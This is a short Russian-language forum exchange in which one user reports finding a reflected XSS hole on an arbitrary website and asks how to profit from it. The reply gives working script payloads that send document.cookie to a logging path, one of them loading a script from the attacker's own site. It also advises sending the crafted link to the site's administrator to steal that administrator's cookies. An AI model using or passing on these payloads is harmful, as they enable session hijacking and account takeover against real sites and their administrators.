Я вот тут нашел сайт левенький, и через некоторое время нашел дыру XSS http://www.......ru/news/index.php?param=1<h1>XSS</h1> Только вот подскажите что я с этого теперь могу поиметь и как.
Это пассивный XSS. Можешь вписать туда <script>img = new Image(); img.src = "/cgi-bin/s.jpg?"+document.cookie;</script> если не фильтруются какие-либо спец символы. Если фильтруются можешь сделать так <script src=http://твой сайт/xss.js></script>Где в xss.js записано img = new Image(); img.src = "/cgi-bin/s.jpg?"+document.cookie; И дать эту ссылку админу. Если он лопух, получишь его куки.